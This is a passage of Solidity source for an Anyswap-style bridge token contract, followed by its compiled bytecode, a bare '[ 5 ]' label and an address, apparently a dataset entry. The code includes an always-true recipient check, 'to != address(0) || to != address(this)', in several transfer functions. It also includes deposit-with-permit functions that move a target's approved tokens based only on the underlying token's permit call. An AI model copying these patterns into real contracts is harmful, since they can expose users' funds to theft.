isMinter[pendingMinter] = true; minters.push(pendingMinter); } // No time delay revoke minter emergency function function revokeMinter(address _auth) external onlyVault { isMinter[_auth] = false; } function getAllMinters() external view returns (address[] memory) { return minters; } function changeVault(address newVault) external onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = newVault; delayVault = block.timestamp + delay; emit LogChangeVault(vault, pendingVault, delayVault); return true; } function changeMPCOwner(address newVault) public onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = newVault; delayVault = block.timestamp + delay; emit LogChangeMPCOwner(vault, pendingVault, delayVault); return true; } function mint(address to, uint256 amount) external onlyAuth returns (bool) { _mint(to, amount); return true; } function burn(address from, uint256 amount) external onlyAuth returns (bool) { require(from != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(from, amount); return true; } function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public returns (bool) { require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth"); require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(msg.sender, amount); emit LogSwapout(msg.sender, bindaddr, amount); return true; } /// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}. /// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times. mapping (address => uint256) public override nonces; /// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}. mapping (address => mapping (address => uint256)) public override allowance; event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime); event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight); event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount); event LogSwapout(address indexed account, address indexed bindaddr, uint amount); event LogAddAuth(address indexed auth, uint timestamp); constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) { name = _name; symbol = _symbol; decimals = _decimals; underlying = _underlying; if (_underlying != address(0x0)) { require(_decimals == IERC20(_underlying).decimals()); } // Use init to allow for CREATE2 accross all chains _init = true; // Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens _vaultOnly = false; vault = _vault; pendingVault = _vault; delayVault = block.timestamp; uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } /// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract. function totalSupply() external view override returns (uint256) { return _totalSupply; } function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) { IERC20(underlying).permit(target, address(this), value, deadline, v, r, s); IERC20(underlying).safeTransferFrom(target, address(this), value); return _deposit(value, to); } function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) { IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s); return _deposit(value, to); } function deposit() external returns (uint) { uint _amount = IERC20(underlying).balanceOf(msg.sender); IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount); return _deposit(_amount, msg.sender); } function deposit(uint amount) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, msg.sender); } function deposit(uint amount, address to) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, to); } function depositVault(uint amount, address to) external onlyVault returns (uint) { return _deposit(amount, to); } function _deposit(uint amount, address to) internal returns (uint) { require(underlying != address(0x0) && underlying != address(this)); _mint(to, amount); return amount; } function withdraw() external returns (uint) { return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender); } function withdraw(uint amount) external returns (uint) { return _withdraw(msg.sender, amount, msg.sender); } function withdraw(uint amount, address to) external returns (uint) { return _withdraw(msg.sender, amount, to); } function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) { return _withdraw(from, amount, to); } function _withdraw(address from, uint amount, address to) internal returns (uint) { _burn(from, amount); IERC20(underlying).safeTransfer(to, amount); return amount; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; balanceOf[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balanceOf[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. function approve(address spender, uint256 value) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } /// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval. /// Emits {Approval} event. /// Requirements: /// - `deadline` must be timestamp in future. /// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments. /// - the signature must use `owner` account's current nonce (see {nonces}). /// - the signer cannot be zero address and must be `owner` account. /// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section]. /// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol. function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); // _approve(owner, spender, value); allowance[target][spender] = value; emit Approval(target, spender, value); } function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); require(to != address(0) || to != address(this)); uint256 balance = balanceOf[target]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[target] = balance - value; balanceOf[to] += value; emit Transfer(target, to, value); return true; } function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = prefixed(hashStruct); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } // Builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal view returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hash)); } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`). /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. function transfer(address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism. /// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`), /// unless allowance is set to `type(uint256).max` /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - `from` account must have at least `value` balance of AnyswapV3ERC20 token. /// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account. function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); if (from != msg.sender) { // _decreaseAllowance(from, msg.sender, value); uint256 allowed = allowance[from][msg.sender]; if (allowed != type(uint256).max) { require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance"); uint256 reduced = allowed - value; allowance[from][msg.sender] = reduced; emit Approval(from, msg.sender, reduced); } } uint256 balance = balanceOf[from]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[from] = balance - value; balanceOf[to] += value; emit Transfer(from, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } }
0x608060405234801561001057600080fd5b506004361061033f5760003560e01c80637ecebe00116101b8578063bebbf4d011610104578063d93f2445116100a2578063f75c26641161007c578063f75c266414610774578063f954734e1461077c578063fbfa77cf1461078f578063fca3b5aa146107a25761033f565b8063d93f24451461072e578063dd62ed3e14610736578063ec126c77146107615761033f565b8063cae9ca51116100de578063cae9ca51146106ed578063cfbd488514610700578063d0e30db014610713578063d505accf1461071b5761033f565b8063bebbf4d0146106be578063c3081240146106d1578063c4b740f5146106da5761033f565b806395d89b4111610171578063a29dff721161014b578063a29dff721461066c578063a9059cbb14610675578063aa271e1a14610688578063b6b55f25146106ab5761033f565b806395d89b411461063c5780639dc29fac14610644578063a045442c146106575761033f565b80637ecebe00146105d257806381a37c18146105f25780638623ec7b1461060557806387689e28146106185780638da5cb5b1461062157806391c5df49146106295761033f565b80633ccfd60b1161029257806360e232a9116102305780636a42b8f81161020a5780636a42b8f81461056f5780636e553f65146105785780636f307dc31461058b57806370a08231146105b25761033f565b806360e232a914610536578063628d6cba146105495780636817031b1461055c5761033f565b80634ca8f0ed1161026c5780634ca8f0ed146104dc57806352113ba7146104e55780635f9b105d14610510578063605629d6146105235761033f565b80633ccfd60b146104ae5780634000aea0146104b657806340c10f19146104c95761033f565b806318160ddd116102ff5780632ebe3fbb116102d95780632ebe3fbb1461041457806330adf81f14610427578063313ce5671461044e5780633644e515146104875761033f565b806318160ddd146103e657806323b872dd146103ee5780632e1a7d4d146104015761033f565b806239d6ec14610344578062bf26f41461036a578062f714ce1461039157806306fdde03146103a4578063095ea7b3146103b95780630d707df8146103dc575b600080fd5b610357610352366004612469565b6107b5565b6040519081526020015b60405180910390f35b6103577f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b61035761039f36600461261b565b61080b565b6103ac61081f565b604051610361919061272f565b6103cc6103c7366004612440565b6108ad565b6040519015158152602001610361565b6103e4610907565b005b6103576109c3565b6103cc6103fc36600461239c565b6109ca565b61035761040f3660046125eb565b610bb5565b6103e4610422366004612350565b610bca565b6103577f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6104757f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff9091168152602001610361565b6103577f6cb53b52cc5acf142495861aac26b95c3c2d2ea7db82db841dd95e24b5f6696781565b610357610ca1565b6103cc6104c43660046124a4565b610cc2565b6103cc6104d7366004612440565b610e1b565b610357600d5481565b600b546104f8906001600160a01b031681565b6040516001600160a01b039091168152602001610361565b6103cc61051e366004612350565b610e5d565b6103cc6105313660046123d7565b610f31565b6103cc610544366004612350565b611141565b6103cc61055736600461261b565b611215565b6103e461056a366004612350565b6112dd565b61035760055481565b61035761058636600461261b565b611343565b6104f87f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f237381565b6103576105c0366004612350565b60026020526000908152604090205481565b6103576105e0366004612350565b600f6020526000908152604090205481565b610357610600366004612526565b611384565b6104f86106133660046125eb565b61145e565b610357600c5481565b6104f8611488565b6009546104f8906001600160a01b031681565b6103ac611492565b6103cc610652366004612440565b61149f565b61065f6114fe565b60405161036191906126e2565b610357600e5481565b6103cc610683366004612440565b611560565b6103cc610696366004612350565b60066020526000908152604090205460ff1681565b6103576106b93660046125eb565b611636565b6103576106cc36600461261b565b611677565b610357600a5481565b6103e46106e836600461258f565b6116b1565b6103cc6106fb3660046124a4565b611703565b6103e461070e366004612350565b6117df565b610357611838565b6103e46107293660046123d7565b61191b565b6103e4611a89565b61035761074436600461236a565b601060209081526000928352604080842090915290825290205481565b6103cc61076f3660046125c7565b611af4565b6104f8611b69565b61035761078a366004612526565b611b96565b6008546104f8906001600160a01b031681565b6103e46107b0366004612350565b611c4e565b60006107bf611b69565b6001600160a01b0316336001600160a01b0316146107f85760405162461bcd60e51b81526004016107ef90612762565b60405180910390fd5b610803848484611cb4565b949350505050565b6000610818338484611cb4565b9392505050565b6000805461082c906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610858906128b1565b80156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b505050505081565b3360008181526010602090815260408083206001600160a01b0387168085529252808320859055519192909160008051602061294f833981519152906108f69086815260200190565b60405180910390a350600192915050565b61090f611b69565b6001600160a01b0316336001600160a01b03161461093f5760405162461bcd60e51b81526004016107ef90612762565b600a5442101561094e57600080fd5b600980546001600160a01b039081166000908152600660205260408120805460ff1916600190811790915592546007805494850181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890920180546001600160a01b03191692909116919091179055565b6003545b90565b60006001600160a01b0383161515806109ec57506001600160a01b0383163014155b6109f557600080fd5b6001600160a01b0384163314610aef576001600160a01b03841660009081526010602090815260408083203384529091529020546000198114610aed5782811015610a945760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563345524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b60648201526084016107ef565b6000610aa0848361286e565b6001600160a01b0387166000818152601060209081526040808320338085529083529281902085905551848152939450909260008051602061294f833981519152910160405180910390a3505b505b6001600160a01b03841660009081526002602052604090205482811015610b285760405162461bcd60e51b81526004016107ef906127d0565b610b32838261286e565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610b68908490612856565b92505081905550836001600160a01b0316856001600160a01b031660008051602061292f83398151915285604051610ba291815260200190565b60405180910390a3506001949350505050565b6000610bc2338333611cb4565b90505b919050565b610bd2611b69565b6001600160a01b0316336001600160a01b031614610c025760405162461bcd60e51b81526004016107ef90612762565b60045460ff16610c1157600080fd5b600880546001600160a01b039092166001600160a01b03199283168117909155600b80548316821790556000818152600660205260408120805460ff1990811660019081179092556007805492830181559092527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805490931690911790915542600c55600480549091169055565b336000818152600260205260408120549091610cbd9181611cb4565b905090565b60006001600160a01b038516151580610ce457506001600160a01b0385163014155b610ced57600080fd5b3360009081526002602052604090205484811015610d1d5760405162461bcd60e51b81526004016107ef906127d0565b610d27858261286e565b33600090815260026020526040808220929092556001600160a01b03881681529081208054879290610d5a908490612856565b90915550506040518581526001600160a01b03871690339060008051602061292f8339815191529060200160405180910390a3604051635260769b60e11b81526001600160a01b0387169063a4c0ed3690610dbf90339089908990899060040161269a565b602060405180830381600087803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1191906125ab565b9695505050505050565b3360009081526006602052604081205460ff16610e4a5760405162461bcd60e51b81526004016107ef9061281f565b610e548383611cfc565b50600192915050565b6000610e67611b69565b6001600160a01b0316336001600160a01b031614610e975760405162461bcd60e51b81526004016107ef90612762565b6001600160a01b038216610ebd5760405162461bcd60e51b81526004016107ef90612799565b600b80546001600160a01b0319166001600160a01b038416179055600554610ee59042612856565b600c819055600b546008546040516001600160a01b0392831692909116907f1d065115f314fb9bad9557bd5460b9e3c66f7223b1dd04e73e828f0bb5afe89f90600090a4506001919050565b600084421115610f835760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d6974000060448201526064016107ef565b6001600160a01b0388166000908152600f6020526040812080547f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59918b918b918b919086610fd0836128ec565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012090506110318982878787611dca565b8061104457506110448982878787611eba565b61104d57600080fd5b6001600160a01b03881615158061106d57506001600160a01b0388163014155b61107657600080fd5b6001600160a01b038916600090815260026020526040902054878110156110af5760405162461bcd60e51b81526004016107ef906127d0565b6110b9888261286e565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815290812080548a92906110ef908490612856565b92505081905550886001600160a01b03168a6001600160a01b031660008051602061292f8339815191528a60405161112991815260200190565b60405180910390a35060019998505050505050505050565b600061114b611b69565b6001600160a01b0316336001600160a01b03161461117b5760405162461bcd60e51b81526004016107ef90612762565b6001600160a01b0382166111a15760405162461bcd60e51b81526004016107ef90612799565b600b80546001600160a01b0319166001600160a01b0384161790556005546111c99042612856565b600c819055600b546008546040516001600160a01b0392831692909116907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a4506001919050565b600454600090610100900460ff16156112705760405162461bcd60e51b815260206004820152601860248201527f416e7973776170563445524332303a206f6e6c7941757468000000000000000060448201526064016107ef565b6001600160a01b0382166112965760405162461bcd60e51b81526004016107ef90612799565b6112a03384611f75565b6040518381526001600160a01b0383169033907f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c888906020016108f6565b6112e5611b69565b6001600160a01b0316336001600160a01b0316146113155760405162461bcd60e51b81526004016107ef90612762565b600b80546001600160a01b0319166001600160a01b03831617905560055461133d9042612856565b600c5550565b600061137a6001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f237316333086612047565b61081883836120b8565b60405163d505accf60e01b81526000906001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f2373169063d505accf906113df908b9030908c908c908c908c908c90600401612659565b600060405180830381600087803b1580156113f957600080fd5b505af115801561140d573d6000803e3d6000fd5b506114489250506001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f237316905089308a612047565b61145287836120b8565b98975050505050505050565b6007818154811061146e57600080fd5b6000918252602090912001546001600160a01b0316905081565b6000610cbd611b69565b6001805461082c906128b1565b3360009081526006602052604081205460ff166114ce5760405162461bcd60e51b81526004016107ef9061281f565b6001600160a01b0383166114f45760405162461bcd60e51b81526004016107ef90612799565b610e548383611f75565b6060600780548060200260200160405190810160405280929190818152602001828054801561155657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611538575b5050505050905090565b60006001600160a01b03831615158061158257506001600160a01b0383163014155b61158b57600080fd5b33600090815260026020526040902054828110156115bb5760405162461bcd60e51b81526004016107ef906127d0565b6115c5838261286e565b33600090815260026020526040808220929092556001600160a01b038616815290812080548592906115f8908490612856565b90915550506040518381526001600160a01b03851690339060008051602061292f833981519152906020015b60405180910390a35060019392505050565b600061166d6001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f237316333085612047565b610bc282336120b8565b6000611681611b69565b6001600160a01b0316336001600160a01b03161461137a5760405162461bcd60e51b81526004016107ef90612762565b6116b9611b69565b6001600160a01b0316336001600160a01b0316146116e95760405162461bcd60e51b81526004016107ef90612762565b600480549115156101000261ff0019909216919091179055565b3360008181526010602090815260408083206001600160a01b0389168085529252808320879055519192909160008051602061294f8339815191529061174c9088815260200190565b60405180910390a360405162ba451f60e01b81526001600160a01b0386169062ba451f9061178490339088908890889060040161269a565b602060405180830381600087803b15801561179e57600080fd5b505af11580156117b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d691906125ab565b95945050505050565b6117e7611b69565b6001600160a01b0316336001600160a01b0316146118175760405162461bcd60e51b81526004016107ef90612762565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f237316906370a082319060240160206040518083038186803b15801561189c57600080fd5b505afa1580156118b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d49190612603565b905061190b6001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f237316333084612047565b61191581336120b8565b91505090565b8342111561196b5760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d6974000060448201526064016107ef565b6001600160a01b0387166000908152600f6020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a9190866119b8836128ec565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e001604051602081830303815290604052805190602001209050611a198882868686611dca565b80611a2c5750611a2c8882868686611eba565b611a3557600080fd5b6001600160a01b038881166000818152601060209081526040808320948c16808452948252918290208a9055905189815260008051602061294f833981519152910160405180910390a35050505050505050565b611a91611b69565b6001600160a01b0316336001600160a01b031614611ac15760405162461bcd60e51b81526004016107ef90612762565b600c54421015611ad057600080fd5b600b54600880546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526006602052604081205460ff16611b235760405162461bcd60e51b81526004016107ef9061281f565b611b2d8383611cfc565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d618460405161162491815260200190565b6000600c544210611b865750600b546001600160a01b03166109c7565b506008546001600160a01b031690565b60405163302b14eb60e11b81526000906001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f2373169063605629d690611bf1908b9030908c908c908c908c908c90600401612659565b602060405180830381600087803b158015611c0b57600080fd5b505af1158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4391906125ab565b5061145287836120b8565b611c56611b69565b6001600160a01b0316336001600160a01b031614611c865760405162461bcd60e51b81526004016107ef90612762565b600980546001600160a01b0319166001600160a01b038316179055600554611cae9042612856565b600a5550565b6000611cc08484611f75565b611cf46001600160a01b037f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f2373168385612135565b509092915050565b6001600160a01b038216611d525760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016107ef565b8060036000828254611d649190612856565b90915550506001600160a01b03821660009081526002602052604081208054839290611d91908490612856565b90915550506040518181526001600160a01b0383169060009060008051602061292f833981519152906020015b60405180910390a35050565b60405161190160f01b60208201527f6cb53b52cc5acf142495861aac26b95c3c2d2ea7db82db841dd95e24b5f66967602282015260428101859052600090819060620160408051601f198184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0015b6020604051602081039080840390855afa158015611e79573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906114525750876001600160a01b0316816001600160a01b03161498975050505050505050565b600080611f3a866040517f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208201527f6cb53b52cc5acf142495861aac26b95c3c2d2ea7db82db841dd95e24b5f66967603c820152605c8101829052600090607c01604051602081830303815290604052805190602001209050919050565b6040805160008082526020820180845284905260ff89169282019290925260608101879052608081018690529192509060019060a001611e57565b6001600160a01b038216611fd55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016107ef565b6001600160a01b03821660009081526002602052604081208054839290611ffd90849061286e565b925050819055508060036000828254612016919061286e565b90915550506040518181526000906001600160a01b0384169060008051602061292f83398151915290602001611dbe565b6040516001600160a01b03808516602483015283166044820152606481018290526120b29085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261216a565b50505050565b60007f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f23736001600160a01b03161580159061211b57507f000000000000000000000000d9016a907dc0ecfa3ca425ab20b6b785b42f23736001600160a01b03163014155b61212457600080fd5b61212e8284611cfc565b5090919050565b6040516001600160a01b03831660248201526044810182905261216590849063a9059cbb60e01b9060640161207b565b505050565b61217c826001600160a01b03166122f1565b6121c85760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016107ef565b600080836001600160a01b0316836040516121e3919061263d565b6000604051808303816000865af19150503d8060008114612220576040519150601f19603f3d011682016040523d82523d6000602084013e612225565b606091505b5091509150816122775760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016107ef565b8051156120b2578080602001905181019061229291906125ab565b6120b25760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016107ef565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906108035750141592915050565b80356001600160a01b0381168114610bc557600080fd5b803560ff81168114610bc557600080fd5b600060208284031215612361578081fd5b61081882612328565b6000806040838503121561237c578081fd5b61238583612328565b915061239360208401612328565b90509250929050565b6000806000606084860312156123b0578081fd5b6123b984612328565b92506123c760208501612328565b9150604084013590509250925092565b600080600080600080600060e0888a0312156123f1578283fd5b6123fa88612328565b965061240860208901612328565b955060408801359450606088013593506124246080890161233f565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612452578182fd5b61245b83612328565b946020939093013593505050565b60008060006060848603121561247d578283fd5b61248684612328565b92506020840135915061249b60408501612328565b90509250925092565b600080600080606085870312156124b9578384fd5b6124c285612328565b935060208501359250604085013567ffffffffffffffff808211156124e5578384fd5b818701915087601f8301126124f8578384fd5b813581811115612506578485fd5b886020828501011115612517578485fd5b95989497505060200194505050565b600080600080600080600060e0888a031215612540578283fd5b61254988612328565b965060208801359550604088013594506125656060890161233f565b93506080880135925060a0880135915061258160c08901612328565b905092959891949750929550565b6000602082840312156125a0578081fd5b81356108188161291d565b6000602082840312156125bc578081fd5b81516108188161291d565b6000806000606084860312156125db578283fd5b833592506123c760208501612328565b6000602082840312156125fc578081fd5b5035919050565b600060208284031215612614578081fd5b5051919050565b6000806040838503121561262d578182fd5b8235915061239360208401612328565b6000825161264f818460208701612885565b9190910192915050565b6001600160a01b0397881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6001600160a01b0385168152602081018490526060604082018190528101829052600082846080840137818301608090810191909152601f909201601f191601019392505050565b6020808252825182820181905260009190848201906040850190845b818110156127235783516001600160a01b0316835292840192918401916001016126fe565b50909695505050505050565b600060208252825180602084015261274e816040850160208701612885565b601f01601f19169190910160400192915050565b60208082526019908201527f416e7973776170563345524332303a20464f5242494444454e00000000000000604082015260600190565b6020808252601c908201527f416e7973776170563345524332303a2061646472657373283078302900000000604082015260600190565b6020808252602f908201527f416e7973776170563345524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b60208082526019908201527f416e7973776170563445524332303a20464f5242494444454e00000000000000604082015260600190565b6000821982111561286957612869612907565b500190565b60008282101561288057612880612907565b500390565b60005b838110156128a0578181015183820152602001612888565b838111156120b25750506000910152565b6002810460018216806128c557607f821691505b602082108114156128e657634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561290057612900612907565b5060010190565b634e487b7160e01b600052601160045260246000fd5b801515811461292b57600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a264697066735822122009f133a1a7b82a84f7eb4d540d9b7632a2fb97e06b30fd18edb4988cdb70ae8164736f6c63430008020033
[ 5 ]
0xf1b8616ae1bf59c55bfa3a47ad1b6f9a95a902de
